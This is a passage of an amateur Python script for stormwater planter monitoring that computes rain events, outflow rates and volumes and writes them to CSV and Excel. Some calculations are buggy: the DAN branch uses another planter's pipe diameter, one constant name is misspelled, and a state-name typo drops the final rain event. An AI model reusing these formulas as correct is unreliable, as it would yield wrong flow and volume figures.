"""
Program to automatically calculate all the required data and plot them on a line graph for data analysis
How to use it:
Run the program and enter the directory which contains the CSV Files
Then the program will create another CSV file with all the required data calcualated for each planter and
Write them to excel files and store them in seperate folders based on planter names
There is also the option to view the line graph for a arbitrary time range speified in datetime (YYYY-MM-DD HH:MM:SS)
Created on 06-04-2018 by Sanjeev Rajasekaran
Last Edited on 06-26-2018
"""

import datetime  # Python's datettime module
import os  # import the module which can read file size, get current working directory
import sys  # To exit program if needed
import csv  # import the python module to be able write our data to a CSV file
import xlsxwriter  # Module to write csv data to excel file
import pandas as pd  # Plotting module
import matplotlib.pyplot as plt  # Plotting module
import seaborn as sns  # Plotting Module
import glob  # Get files of specific type
import pathlib  # Module to Get current dir
from collections import defaultdict # Module for pythons defaultdict module

sns.set() # Set Seaborn attributes to default

# Global Constants

DEPTH_BELOW_INVERT_DAN = 0.48
DEPTH_BELOW_INVERT_SAM = 0.50
DEPTH_BELOW_INVERT_SARAH = 0.50
DEPTH_BELOW_INVERT_DYLAN = 0.44
DIAMETER_OUTFLOW_PIPE_DAN = 0.60
DIAMETER_OUTFLOW_PIPE_SAM = 0.60
DIAMETER_OUTFLOW_PIPE_SARAH = 0.60
DIAMETER_OUTFLOW_PIPE_DYLAN = 0.59
SQUARE_ROOT_2GD_PLANTER_DAN = 6.23
SQUARE_ROOT_2GD_PLANTER_SAM = 6.21
SQUARE_ROOT_2GD_PLANTER_SARAH = 6.23
SQUARE_ROOT_2GD_PLANTER_DYLAN = 6.15
WEIRD_EQUATION_CD = 0.53
MONITORING_CHAMBER_SURFACE = 3.14
CONVERSION_TO_CUBIC_FEET = 28.32  # ft^3 - L
DRAINAGE_AREA_PLANTER_DAN = 1530.7
DRAINAGE_AREA_PLANTER_SAM = 1172.1
DRAINAGE_AREA_PLANTER_SARAH = 585.5
DRAINAGE_AREA_PLANTER_DYLAN = 1059.3
PLANTER_SURFACE_AREA = 72

class CalcColumns:

    def __init__(self):

        # Define all the variables

        self.rain_inches_list = list()
        self.depth_above_invert_list = list()
        self.outflow_cfs_list = list()
        self.outflow_ls_list = list()
        self.cumulative_rain_list = list()
        self.final_values_list = list()
        self.cumulative_outflow_volume_list = list()
        self.cumulative_inflow_volume_roof_list = list()
        self.cumulative_inflow_ord_list = list()
        self.event_list = list()

        # Initialise the Count Variables

        self.cumulative_rain_count = 0
        self.outflow_cfs_count = 0
        self.cumulative_outflow_count = 0
        self.roof_method_inflow_cfs_count = 0
        self.cumulative_inflow_volume_roof_method_count = 0
        self.cumulative_inflow_ord_l_count = 0
        self.rain_event_counter_dan = 1
        self.rain_event_counter_sam = 1
        self.rain_event_counter_sarah = 1
        self.rain_event_counter_dylan = 1

        self.columns = ["         Date          ", "Depth outflow (cm)", "Depth outflow (feet)", "Depth above invert",
                        "Depth Diameter",
                        "Outflow CFS", "Outflow LS", "Cumulative outflow volume", "Rain (mm)", "Rain (inch)",
                        "Cumulative Rain", "   Roof Method Inflow   ", "   Roof Method Inflow LS   ",
                        "   Cumulative Inflow Volume Roof Method   ", "Max Depth of Outflow (inch)"]

    """
    All the functions below use formulas from the excel sheet. We add all the values to a list to do future calculations
    """

    def calc_depth_of_outflow_ft(self, depth_of_outflow_cm, planter):

        depth_of_outflow_ft = list()

        for item in depth_of_outflow_cm[planter]:
            depth_of_outflow_ft.append(round((float(item) / 30.48), 2))

        return depth_of_outflow_ft

    def calc_depth_above_invert_ft(self, depth_of_outflow_ft, PLANTER_NAME):

        if PLANTER_NAME == "DAN":
            global DEPTH_BELOW_INVERT_DAN
            DEPTH_BELOW_INVERT = DEPTH_BELOW_INVERT_DAN
        if PLANTER_NAME == "SAM":
            global DEPTH_BELOW_INVERT_SAM
            DEPTH_BELOW_INVERT = DEPTH_BELOW_INVERT_SAM
        if PLANTER_NAME == "SARAH":
            global DEPTH_BELOW_INVERT_SARAH
            DEPTH_BELOW_INVERT = DEPTH_BELOW_INVERT_SARAH
        if PLANTER_NAME == "DYLAN":
            global DEPTH_BELOW_INVERT_DYLAN
            DEPTH_BELOW_INVERT = DEPTH_BELOW_INVERT_DYLAN

        for item in depth_of_outflow_ft:
            self.depth_above_invert_list.append(round((item - DEPTH_BELOW_INVERT), 4))

        return self.depth_above_invert_list

    def calc_depth_diameter(self, depth_above_invert, PLANTER_NAME):

        if PLANTER_NAME == "DAN":
            global DIAMETER_OUTFLOW_PIPE_DAN
            DIAMETER_OUTFLOW_PIPE = DIAMETER_OUTFLOW_PIPE_DAN

        if PLANTER_NAME == "SAM":
            global DIAMETER_OUTFLOW_PIPE_SAM
            DIAMETER_OUTFLOW_PIPE = DIAMETER_OUTFLOW_PIPE_SAM

        if PLANTER_NAME == "SARAH":
            global DIAMETER_OUTFLOW_PIPE_SARAH
            DIAMETER_OUTFLOW_PIPE = DIAMETER_OUTFLOW_PIPE_SARAH

        if PLANTER_NAME == "DYLAN":
            global DIAMETER_OUTFLOW_PIPE_DYLAN
            DIAMETER_OUTFLOW_PIPE = DIAMETER_OUTFLOW_PIPE_DYLAN

        depth_diameter = list()

        for item in depth_above_invert:
            depth_diameter.append(round((item / DIAMETER_OUTFLOW_PIPE), 4))

        return depth_diameter

    def calculate_outflow_cfs(self, depth_above_invert, depth_diameter, depth_of_outflow, date, PLANTER_NAME):

        global WEIRD_EQUATION_CD
        global MONITORING_CHAMBER_SURFACE

        if PLANTER_NAME == "DAN":
            global SQUARE_ROOT_2GD_PLANTER_DAN
            global DIAMETER_OUTFLOW_PIPE_DAN

            SQUARE_ROOT_2GD = SQUARE_ROOT_2GD_PLANTER_DAN
            DIAMETER_OUTFLOW_PIPE = DIAMETER_OUTFLOW_PIPE_DYLAN

        if PLANTER_NAME == "SAM":
            global SQUARE_ROOT_2GD_PLANTER_SAM
            global DIAMETER_OUTFLOW_PIPE_SAM
            SQUARE_ROOT_2GD = SQUARE_ROOT_2GD_PLANTER_SAM
            DIAMETER_OUTFLOW_PIPE = DIAMETER_OUTFLOW_PIPE_SAM

        if PLANTER_NAME == "SARAH":
            global SQUARE_ROOT_2GD_PLANTER_SARAH
            global DIAMETER_OUTFLOW_PIPE_SARAH
            SQUARE_ROOT_2GD = SQUARE_ROOT_2GD_PLANTER_SARAH
            DIAMETER_OUTFLOW_PIPE = DIAMETER_OUTFLOW_PIPE_SARAH

        if PLANTER_NAME == "DYLAN":
            global SQUARE_ROOT_2GD_PLANTER_DYLAN
            SQUARE_ROOT_2GD = SQUARE_ROOT_2GD_PLANTER_DYLAN
            DIAMETER_OUTFLOW_PIPE = DIAMETER_OUTFLOW_PIPE_DYLAN

        for item in depth_diameter:

            if self.outflow_cfs_count == 0:  # If it is the first element, then just add 0, otherwise do rest of logic

                self.outflow_cfs_list.append(0)
                self.outflow_cfs_count += 1
                continue

            if depth_above_invert[self.outflow_cfs_count] > 0:
                outflow_cfs = (2 / 3) * SQUARE_ROOT_2GD * pow(DIAMETER_OUTFLOW_PIPE,
                                                              2) * WEIRD_EQUATION_CD * pow(item, 1.87)
            else:

                try:
                    outflow_cfs = round((MONITORING_CHAMBER_SURFACE * abs(
                    float(depth_of_outflow[self.outflow_cfs_count]) - float(
                        depth_of_outflow[self.outflow_cfs_count - 1])) / c1.calculate_hours_minutes(
                    date[self.outflow_cfs_count], date[self.outflow_cfs_count - 1])), 4)
                except IndexError:
                    print(date)
                    print(self.outflow_cfs_count)

            self.outflow_cfs_list.append(outflow_cfs)
            self.outflow_cfs_count += 1

        return self.outflow_cfs_list

    def calculate_hours_minutes(self, date_current, date_prev):

        date_prev = str(date_prev).strip('"')
        date_current = str(date_current).strip('"')

        try:
            date_prev = datetime.datetime.strptime(date_prev, '%d-%m-%Y %H:%M')  # Use pythons timedelta module
            date_current = datetime.datetime.strptime(date_current,
                                                      '%d-%m-%Y %H:%M')  # to calculate difference between dates
        except ValueError:
            date_prev = datetime.datetime.strptime(date_prev, '%Y-%m-%d %H:%M:%S').strftime('%d-%m-%Y %H:%M')
            date_current = datetime.datetime.strptime(date_current, '%Y-%m-%d %H:%M:%S').strftime('%d-%m-%Y %H:%M')
            date_prev = datetime.datetime.strptime(date_prev, '%d-%m-%Y %H:%M')
            date_current = datetime.datetime.strptime(date_current, '%d-%m-%Y %H:%M')
        time_delta_value = ((date_current - date_prev).total_seconds())

        return time_delta_value

    def calculate_outflow_ls(self, outflow_cfs):

        for item in outflow_cfs:
            self.outflow_ls_list.append(round((item * CONVERSION_TO_CUBIC_FEET), 4))

        return self.outflow_ls_list

    def calculate_cumulative_outflow_volume(self, outflow_cfs, date):

        for item in outflow_cfs:

            if self.cumulative_outflow_count == 0:
                self.cumulative_outflow_volume_list.append(0)
                self.cumulative_outflow_count += 1
                continue
            try:
                self.cumulative_outflow_volume_list.append(self.cumulative_outflow_volume_list[
                                                               self.cumulative_outflow_count - 1] + item * c1.calculate_hours_minutes(
                    date[self.cumulative_outflow_count], date[self.cumulative_outflow_count - 1]))
                self.cumulative_outflow_count += 1
            except IndexError:
                print(date)

        return self.cumulative_outflow_volume_list

    def calculate_rain_inches(self, rain_mm):

        for item in rain_mm:
            self.rain_inches_list.append(round((float(item) / 25.4), 4))

        return self.rain_inches_list

    def calculate_cumulative_rain(self, rain_mm):

        for item in rain_mm:
            self.cumulative_rain_list.append(round((sum(self.rain_inches_list[:(self.cumulative_rain_count + 1)])), 2))
            self.cumulative_rain_count += 1

        return self.cumulative_rain_list

    def calculate_roof_method_inflow_cfs(self, rain_inch, date, PLANTER_NAME):

        if PLANTER_NAME == "DAN":
            global DRAINAGE_AREA_PLANTER_DAN
            DRAINAGE_AREA_PLANTER = DRAINAGE_AREA_PLANTER_DAN

        if PLANTER_NAME == "SAM":
            global DRAINAGE_AREA_PLANTER_SAM
            DRAINAGE_AREA_PLANTER = DRAINAGE_AREA_PLANTER_SAM

        if PLANTER_NAME == "SARAH":
            global DRAINAGE_AREA_PLANTER_SARAH
            DRAINAGE_AREA_PLANTER = DRAINAGE_AREA_PLANTER_SARAH

        if PLANTER_NAME == "DYLAN":
            global DRAINAGE_AREA_PLANTER_DYLAN
            DRAINAGE_AREA_PLANTER = DRAINAGE_AREA_PLANTER_DYLAN

        roof_method_inflow_cfs_list = list()

        for item in rain_inch:
            roof_method_inflow_cfs_list.append(round(
                ((float(item) / 12) * DRAINAGE_AREA_PLANTER) / c1.calculate_hours_minutes(
                    date[self.roof_method_inflow_cfs_count], date[self.roof_method_inflow_cfs_count - 1]), 4))
            self.roof_method_inflow_cfs_count += 1

        return roof_method_inflow_cfs_list

    def calculate_roof_method_inflow_ls(self, inflow_cfs):

        global CONVERSTION_TO_CUBIC_FEET

        roof_method_inflow_ls = list()

        for item in inflow_cfs:
            roof_method_inflow_ls.append(round((item * CONVERSION_TO_CUBIC_FEET), 4))

        return roof_method_inflow_ls

    def calculate_cumulative_inflow_volume_roof_method(self, roof_method_inflow_cfs, date):

        for item in roof_method_inflow_cfs:

            if self.cumulative_inflow_volume_roof_method_count == 0:
                self.cumulative_inflow_volume_roof_list.append(0)
                self.cumulative_inflow_volume_roof_method_count += 1
                continue

            self.cumulative_inflow_volume_roof_list.append(self.cumulative_inflow_volume_roof_list[
                                                               self.cumulative_inflow_volume_roof_method_count - 1] + item * c1.calculate_hours_minutes(
                date[self.cumulative_inflow_volume_roof_method_count],
                date[self.cumulative_inflow_volume_roof_method_count - 1]))
            self.cumulative_inflow_volume_roof_method_count += 1

        return self.cumulative_inflow_volume_roof_list

    def calculate_cumulative_inflow_ORD_L(self, ord_inflow, date):

        for item in ord_inflow:

            if self.cumulative_inflow_ord_l_count == 0:
                self.cumulative_inflow_ord_list.append(0)
                self.cumulative_inflow_ord_l_count += 1
                continue

            # if self.cumulative_inflow_ord_l_count == 2390:
            #   break

            self.cumulative_inflow_ord_list.append(round((self.cumulative_inflow_ord_list[
                                                              self.cumulative_inflow_ord_l_count - 1] + ((float(
                item) + float(ord_inflow[self.cumulative_inflow_ord_l_count - 1])) / 2) * c1.calculate_hours_minutes(
                date[self.cumulative_inflow_ord_l_count], date[self.cumulative_inflow_ord_l_count - 1])), 3))
            self.cumulative_inflow_ord_l_count += 1

        return self.cumulative_inflow_ord_list

    def calculate_max_depth_outflow(self):

        max_depth_outflow_feet = max(self.depth_above_invert_list)
        max_depth_outflow_inch = max_depth_outflow_feet * 12

        return max_depth_outflow_feet, max_depth_outflow_inch

    def calculate_peak_rainfall(self):

        peak_rainfall = max(self.rain_inches_list)

        return peak_rainfall

    def calculate_peak_flow_cfs(self):

        peak_flow_cfs = max(self.outflow_cfs_list)

        return peak_flow_cfs

    def calculate_peak_flow_ls(self):

        peak_flow_ls = max(self.outflow_ls_list)

        return peak_flow_ls

    def calculate_rainflow_inflow_volume(self):

        return max(self.cumulative_inflow_volume_roof_list)  # Return the highest number from the list

    def calculate_outflow_volume(self):

        return max(self.cumulative_outflow_volume_list)

    def calculate_total_rainfall(self):

        return max(self.cumulative_rain_list)

    def calculate_rainfall_volume_x_roof(self, total_rainfall, PLANTER_NAME):

        if PLANTER_NAME == "DAN":
            global DRAINAGE_AREA_PLANTER_DAN
            DRAINAGE_AREA_PLANTER = DRAINAGE_AREA_PLANTER_DAN

        if PLANTER_NAME == "SAM":
            global DRAINAGE_AREA_PLANTER_SAM
            DRAINAGE_AREA_PLANTER = DRAINAGE_AREA_PLANTER_SAM

        if PLANTER_NAME == "SARAH":
            global DRAINAGE_AREA_PLANTER_SARAH
            DRAINAGE_AREA_PLANTER = DRAINAGE_AREA_PLANTER_SARAH

        if PLANTER_NAME == "DYLAN":
            global DRAINAGE_AREA_PLANTER_DYLAN
            DRAINAGE_AREA_PLANTER = DRAINAGE_AREA_PLANTER_DYLAN

        return total_rainfall / 12 * DRAINAGE_AREA_PLANTER

    def calculate_ord_inflow_volume(self, total_rainfall):

        global CONVERSTION_TO_CUBIC_FEET
        global PLANTER_SURFACE_AREA

        return max(self.cumulative_inflow_ord_list) / CONVERSTION_TO_CUBIC_FEET + (
                total_rainfall / 12) * PLANTER_SURFACE_AREA

    def create_csv(self, final_dict):

        """
        Takes 1 Dictionary as argument
        Read the values from the dictionary and pass them on to write to a csv file
        """

        date = list()
        depth_outflow_cm_planter_dan = list()
        depth_outflow_cm_planter_sam = list()
        depth_outflow_cm_planter_sarah = list()
        depth_outflow_cm_planter_dylan = list()
        rain_mm = list()
        final_dict_dates = sorted(final_dict)  # Sort the dates

        for key in final_dict_dates:
            date.append(key)
            depth_outflow_cm_planter_dan.append(final_dict[key]['p1'])
            depth_outflow_cm_planter_sam.append(final_dict[key]['p2'])
            depth_outflow_cm_planter_sarah.append(final_dict[key]['p3'])
            depth_outflow_cm_planter_dylan.append(final_dict[key]['p4'])
            rain_mm.append(final_dict[key]['rain'])

        c1.detect_rain_events(final_dict)  # pass the dictionary to detect rain events
        c1.write_to_csv(date, depth_outflow_cm_planter_dan, depth_outflow_cm_planter_sam,   # write values to 'data.csv'
                        depth_outflow_cm_planter_sarah, depth_outflow_cm_planter_dylan, rain_mm)

    def detect_rain_events(self, data, gap=12):

        """
        Takes a dictionary and a optional parameter as arguments
        Detects the occurences of rain based on the gap value
        Default value of Gap is 12
        """
        cre_date = list()  # cre stands for Current Rain Event
        cre_depth_outflow = defaultdict(float)
        cre_rain = list()  # cre stands for Current Rain Event
        current_dir = pathlib.Path(__file__).parent
        os.chdir(current_dir)
        dates = sorted(data.keys())
        min_delta = datetime.timedelta(hours=gap)  # min gap with no rain for rain event
        state = 'find_start'
        start_dt = None  # beginning of this rain event
        last_dt = None  # last date rain > 0

        cre_depth_outflow["DAN"] = []
        cre_depth_outflow["SAM"] = []
        cre_depth_outflow["SARAH"] = []
        cre_depth_outflow["DYLAN"] = []
        event_counter_rain = 1
        event_counter_dry = 1

        for dt in dates:

            if state == 'find_end':
                if dt - last_dt >= min_delta: # if the time between the last date of rain and current date is more than the gap value

                    if data[dt]['rain'] == 0:
                        # found the end of the event
                        for planter in ["DAN", "SAM", "SARAH", "DYLAN"]:
                            c1.calc_data(cre_date, cre_depth_outflow, cre_rain, planter)
                        state = 'find_start'
                        start_dt = None
                        last_dt = None
                        cre_date.clear()        # clear all lists
                        cre_rain.clear()
                        cre_depth_outflow["DAN"] = []
                        cre_depth_outflow["SAM"] = []
                        cre_depth_outflow["SARAH"] = []
                        cre_depth_outflow["DYLAN"] = []
                        event_counter_dry += 1  # increment the event counters
                        event_counter_rain += 1
                    else:
                        last_dt = dt
                        cre_date.append(str(dt))
                        cre_rain.append(data[dt]['rain'])
                        event = "Rain" + str(event_counter_dry)
                        self.event_list.append(event)
                        cre_depth_outflow["DAN"].append(data[dt]['p1'])
                        cre_depth_outflow["SAM"].append(data[dt]['p2'])
                        cre_depth_outflow["SARAH"].append(data[dt]['p3'])
                        cre_depth_outflow["DYLAN"].append(data[dt]['p4'])

                elif data[dt]['rain'] > 0:
                    # found another rain value in current rain event
                    last_dt = dt
                    cre_date.append(str(dt))
                    cre_rain.append(data[dt]['rain'])
                    event = "Rain" + str(event_counter_rain)
                    self.event_list.append(event)
                    cre_depth_outflow["DAN"].append(data[dt]['p1'])
                    cre_depth_outflow["SAM"].append(data[dt]['p2'])
                    cre_depth_outflow["SARAH"].append(data[dt]['p3'])
                    cre_depth_outflow["DYLAN"].append(data[dt]['p4'])

                else:
                    cre_date.append(str(dt))
                    cre_rain.append(data[dt]['rain'])
                    event = "Rain" + str(event_counter_dry)
                    self.event_list.append(event)
                    cre_depth_outflow["DAN"].append(data[dt]['p1'])
                    cre_depth_outflow["SAM"].append(data[dt]['p2'])
                    cre_depth_outflow["SARAH"].append(data[dt]['p3'])
                    cre_depth_outflow["DYLAN"].append(data[dt]['p4'])

            if state == 'find_start' and data[dt]['rain'] > 0:
                # found the beginning of a new rain event
                state = 'find_end'  # next, look for the end of the rain event
                start_dt = dt  # start of the current rain event
                last_dt = dt  # most recent time that we've seen rain
                cre_date.append(str(dt))
                cre_rain.append(data[dt]['rain'])
                cre_depth_outflow["DAN"].append(data[dt]['p1'])
                cre_depth_outflow["SAM"].append(data[dt]['p2'])
                cre_depth_outflow["SARAH"].append(data[dt]['p3'])
                cre_depth_outflow["DYLAN"].append(data[dt]['p4'])
                event = "Rain" + str(event_counter_rain)
                self.event_list.append(event)
            if state == 'find_start' and data[dt]['rain'] == 0:
                event = "Dry" + str(event_counter_dry)
                self.event_list.append(event)

        # ran out of data
        if state == 'find-end':
            # currently looking for the end of a rain event so yield what we have
            for planter in ["DAN", "SAM", "SARAH", "DYLAN"]:
                c1.calc_data(cre_date, cre_depth_outflow, cre_rain, planter)

    def calc_data(self, date, depth_outflow_cm, rain_mm, planter):
        """
        Call all funtions with the required arguments and when its done, call the function to write the
        calculated data to a excel file
        """

        depth_outflow_feet = c1.calc_depth_of_outflow_ft(depth_outflow_cm, planter)
        depth_above_invert = c1.calc_depth_above_invert_ft(depth_outflow_feet, planter)
        depth_diamter = c1.calc_depth_diameter(depth_above_invert, planter)
        outflow_cfs = c1.calculate_outflow_cfs(depth_above_invert, depth_diamter, depth_outflow_feet, date,
                                               planter)
        outflow_ls = c1.calculate_outflow_ls(outflow_cfs)
        cumulative_outflow_volume = c1.calculate_cumulative_outflow_volume(outflow_cfs, date)
        rain_inches = c1.calculate_rain_inches(rain_mm)
        cumulative_rain = c1.calculate_cumulative_rain(rain_mm)
        roof_method_inflow_cfs = c1.calculate_roof_method_inflow_cfs(rain_inches, date, planter)
        roof_method_inflow_ls = c1.calculate_roof_method_inflow_ls(roof_method_inflow_cfs)
        cumulative_inflow_volume_roof_method = c1.calculate_cumulative_inflow_volume_roof_method(roof_method_inflow_cfs,
                                                                                date)
        # cumulative_inflow = c1.calculate_cumulative_inflow_ORD_L(ord_inflow_ls, date)
        max_depth_outflow_feet, max_depth_outflow_inch = c1.calculate_max_depth_outflow()
        peak_rainfall = c1.calculate_peak_rainfall()
        peak_flow_cfs = c1.calculate_peak_flow_cfs()
        peak_flow_ls = c1.calculate_peak_flow_ls()
        rainfall_inflow_volume = c1.calculate_rainflow_inflow_volume()
        outflow_volume = c1.calculate_outflow_volume()
        total_rainfall = c1.calculate_total_rainfall()
        rainfall_volume_x_roof = c1.calculate_rainfall_volume_x_roof(total_rainfall, planter)
        # ord_inflow_volume = c1.calculate_ord_inflow_volume(total_rainfall)
        c1.write_to_excel(date, depth_outflow_cm, depth_outflow_feet, depth_above_invert, depth_diamter, outflow_cfs,
                          outflow_ls, cumulative_outflow_volume, rain_mm, rain_inches, cumulative_rain,
                          roof_method_inflow_cfs, roof_method_inflow_ls, cumulative_inflow_volume_roof_method,
                          max_depth_outflow_feet, max_depth_outflow_inch, peak_rainfall, peak_flow_cfs, peak_flow_ls,
                          rainfall_inflow_volume, outflow_volume, total_rainfall, rainfall_volume_x_roof, planter)
        c1.clear_all()

    def clear_all(self):

        """
        Clears all lists and counter variables
        """
        self.rain_inches_list.clear()
        self.depth_above_invert_list.clear()
        self.outflow_cfs_list.clear()
        self.outflow_ls_list.clear()
        self.cumulative_rain_list.clear()
        self.final_values_list.clear()
        self.cumulative_outflow_volume_list.clear()
        self.cumulative_inflow_volume_roof_list.clear()
        self.cumulative_inflow_ord_list.clear()
        self.cumulative_rain_count = 0
        self.outflow_cfs_count = 0
        self.cumulative_outflow_count = 0
        self.roof_method_inflow_cfs_count = 0
        self.cumulative_inflow_volume_roof_method_count = 0
        self.cumulative_inflow_ord_l_count = 0

    def write_to_csv(self, date, depth_outflow_cm_planter_dan, depth_outflow_cm_planter_sam,
                     depth_outflow_cm_planter_sarah, depth_outflow_cm_planter_dylan, rain_mm):

        """
        Write the values into data.csv file
        """

        event_list = self.event_list
        current_dir = pathlib.Path(__file__).parent
        os.chdir(current_dir)

        myfile = open('Data.csv', 'w', newline='')
        with myfile:
            writer = csv.writer(myfile)
            writer.writerow(["Date", "Rain (mm)", "Depth Outflow P0", "Depth Outflow P1", "Depth Outflow P2",
                             "Depth Outflow P3", "Event"])
            for date_cur, rain_mm_cur, depth_outflow_cm_cur_dan, depth_outflow_cm_cur_sam, \
                depth_outflow_cm_cur_sarah, depth_outflow_cm_cur_dylan, event in zip(date, rain_mm,
                                                                              depth_outflow_cm_planter_dan,
                                                                              depth_outflow_cm_planter_sam,
                                                                              depth_outflow_cm_planter_sarah,
                                                                              depth_outflow_cm_planter_dylan, event_list):

                writer.writerow([date_cur, rain_mm_cur, depth_outflow_cm_cur_dan,
                                 depth_outflow_cm_cur_sam, depth_outflow_cm_cur_sarah, depth_outflow_cm_cur_dylan,
                                 event])

    def write_to_excel(self, date, depth_outflow_cm, depth_outflow_feet, depth_above_invert, depth_diamter, outflow_cfs,
                       outflow_ls, cumulative_outflow_volume, rain_mm, rain_inches, cumulative_rain,
                       roof_method_inflow_cfs, roof_method_inflow_ls, cumulative_inflow_volume_roof_method,
                       max_depth_outflow_feet, max_depth_outflow_inch, peak_rainfall, peak_flow_cfs, peak_flow_ls,
                       rainfall_inflow_volume, outflow_volume, total_rainfall, rainfall_volume_x_roof, PLANTER_NAME):

        """
         Write the contents of our calculations to a Excel file row by row
        """
        csv_row_count = 0
        final_values_counter = 0
        row = 0
        col = 0

        self.final_values_list = ["Max Depth of Outflow (feet)", max_depth_outflow_feet,
                                  "Max Depth of Outflow (inch)",
                                  max_depth_outflow_inch, "Peak Rainfall", peak_rainfall, "Peak Flow CFS",
                                  peak_flow_cfs, "Peak Flow LS", peak_flow_ls, "Rainfall Inflow Volume",
                                  rainfall_inflow_volume, "Outflow Volume", outflow_volume, "Total Rainfall",
                                  total_rainfall, "Rainfall volume * Roof", rainfall_volume_x_roof]

        current_dir = pathlib.Path(__file__).parent

        if PLANTER_NAME == "DAN":
            directory = str(current_dir) + "/" + PLANTER_NAME  # check if directory exists, if not
            if not os.path.exists(directory):                  # create it and change current directory to
                os.makedirs(directory)                         # the created directory
            os.chdir(directory)
            current_file_name = "RainGraph" + str(self.rain_event_counter_dan) + "-" + PLANTER_NAME + ".xlsx"
            workbook = xlsxwriter.Workbook(current_file_name)
            self.rain_event_counter_dan += 1

        if PLANTER_NAME == "SAM":
            directory = str(current_dir) + "/" + PLANTER_NAME
            if not os.path.exists(directory):
                os.makedirs(directory)
            os.chdir(directory)
            current_file_name = "RainGraph" + str(self.rain_event_counter_sam) + "-" + PLANTER_NAME + ".xlsx"
            workbook = xlsxwriter.Workbook(current_file_name)
            self.rain_event_counter_sam += 1

        if PLANTER_NAME == "SARAH":
            directory = str(current_dir) + "/" + PLANTER_NAME
            if not os.path.exists(directory):
                os.makedirs(directory)
            os.chdir(directory)
            current_file_name = "RainGraph" + str(self.rain_event_counter_sarah) + "-" + PLANTER_NAME + ".xlsx"
            workbook = xlsxwriter.Workbook(current_file_name)
            self.rain_event_counter_sarah += 1

        if PLANTER_NAME == "DYLAN":
            directory = str(current_dir) + "/" + PLANTER_NAME
            if not os.path.exists(directory):
                os.makedirs(directory)
            os.chdir(directory)
            current_file_name = "RainGraph" + str(self.rain_event_counter_dylan) + "-" + PLANTER_NAME + ".xlsx"
            workbook = xlsxwriter.Workbook(current_file_name)
            self.rain_event_counter_dylan += 1

        worksheet = workbook.add_worksheet("Data")

        cell_format_center = workbook.add_format({'align': 'center'})
        # cell_format.set_align('center')

        c1.set_column_width(worksheet, self.columns)

        worksheet.write(row, col, "Date", cell_format_center)
        worksheet.write(row, col + 1, "Depth outflow (cm)", cell_format_center)
        worksheet.write(row, col + 2, "Depth outflow (feet)", cell_format_center)
        worksheet.write(row, col + 3, "Depth above invert", cell_format_center)
        worksheet.write(row, col + 4, "Depth Diameter", cell_format_center)
        worksheet.write(row, col + 5, "Outflow CFS", cell_format_center)
        worksheet.write(row, col + 6, "Outflow LS", cell_format_center)
        worksheet.write(row, col + 7, "Cumulative outflow volume", cell_format_center)
        worksheet.write(row, col + 8, "Rain (mm)", cell_format_center)
        worksheet.write(row, col + 9, "Rain (inch)")
        worksheet.write(row, col + 10, "Cumulative Rain", cell_format_center)
        # worksheet.write(row, col + 11, "ORD Inflow LS", cell_format_center)
        worksheet.write(row, col + 11, "Roof Method Inflow", cell_format_center)
        worksheet.write(row, col + 12, "Roof Method Inflow LS", cell_format_center)
        worksheet.write(row, col + 13, "Cumulative Inflow Volume Roof Method", cell_format_center)

        row += 1

        for item_date in date:

            if final_values_counter <= 17:

                worksheet.write(row, col, item_date, cell_format_center)
                worksheet.write(row, col + 1, depth_outflow_cm[csv_row_count], cell_format_center)
                worksheet.write(row, col + 2, depth_outflow_feet[csv_row_count], cell_format_center)
                worksheet.write(row, col + 3, depth_above_invert[csv_row_count], cell_format_center)
                worksheet.write(row, col + 4, depth_diamter[csv_row_count], cell_format_center)
                worksheet.write(row, col + 5, outflow_cfs[csv_row_count], cell_format_center)
                worksheet.write(row, col + 6, outflow_ls[csv_row_count], cell_format_center)
                worksheet.write(row, col + 7, cumulative_outflow_volume[csv_row_count], cell_format_center)
                worksheet.write(row, col + 8, rain_mm[csv_row_count], cell_format_center)
                worksheet.write(row, col + 9, rain_inches[csv_row_count], cell_format_center)
                worksheet.write(row, col + 10, cumulative_rain[csv_row_count], cell_format_center)
                # worksheet.write(row, col + 11, ord_inflow_ls[csv_row_count], cell_format_center)
                worksheet.write(row, col + 11, roof_method_inflow_cfs[csv_row_count], cell_format_center)
                worksheet.write(row, col + 12, roof_method_inflow_ls[csv_row_count], cell_format_center)
                worksheet.write(row, col + 13, cumulative_inflow_volume_roof_method[csv_row_count], cell_format_center)
                # worksheet.write(row, col + 14, cumulative_inflow[csv_row_count], cell_format_center)
                worksheet.write(row, col + 14, self.final_values_list[final_values_counter], cell_format_center)
                worksheet.write(row, col + 15, self.final_values_list[final_values_counter + 1], cell_format_center)

                row += 1
                csv_row_count += 1
                final_values_counter += 2

            else:

                worksheet.write(row, col, item_date, cell_format_center)
                worksheet.write(row, col + 1, depth_outflow_cm[csv_row_count], cell_format_center)
                worksheet.write(row, col + 2, depth_outflow_feet[csv_row_count], cell_format_center)
                worksheet.write(row, col + 3, depth_above_invert[csv_row_count], cell_format_center)
                worksheet.write(row, col + 4, depth_diamter[csv_row_count], cell_format_center)
                worksheet.write(row, col + 5, outflow_cfs[csv_row_count], cell_format_center)
                worksheet.write(row, col + 6, outflow_ls[csv_row_count], cell_format_center)
                worksheet.write(row, col + 7, cumulative_outflow_volume[csv_row_count], cell_format_center)
                worksheet.write(row, col + 8, rain_mm[csv_row_count], cell_format_center)
                worksheet.write(row, col + 9, rain_inches[csv_row_count], cell_format_center)
                worksheet.write(row, col + 10, cumulative_rain[csv_row_count], cell_format_center)
                # worksheet.write(row, col + 11, ord_inflow_ls[csv_row_count], cell_format_center)
                worksheet.write(row, col + 11, roof_method_inflow_cfs[csv_row_count], cell_format_center)
                worksheet.write(row, col + 12, roof_method_inflow_ls[csv_row_count], cell_format_center)
                worksheet.write(row, col + 13, cumulative_inflow_volume_roof_method[csv_row_count], cell_format_center)
                # worksheet.write(row, col + 14, cumulative_inflow[csv_row_count], cell_format_center)

                row += 1
                csv_row_count += 1

        if len(date) <= 17:

            final_values_remaining = len(self.final_values_list) - row * 2
            start_value = len(self.final_values_list) - (final_values_remaining // 2 + 1)
            for final_list_value in self.final_values_list[start_value::]:

                worksheet.write(row, col + 14, self.final_values_list[final_values_counter], cell_format_center)
                try:
                    worksheet.write(row, col + 15, self.final_values_list[final_values_counter + 1], cell_format_center)
                except IndexError:
                    break
                row += 1
                final_values_counter += 2

        ws = workbook.add_worksheet("Graph")

        # ---OPTION TO ADD CHART AS IMAGE VIA SCRIPT RATHER THAN GENERATING IT IN EXCEL---
        # img = openpyxl.drawing.image.Image('april_storm_dan.png')
        # ws.add_image(img)
        # ---END---

        date_formula = '=Data!$A$2:$A$' + str(row)
        value_formula_outflow = '=Data!$G$2:$G$' + str(row)
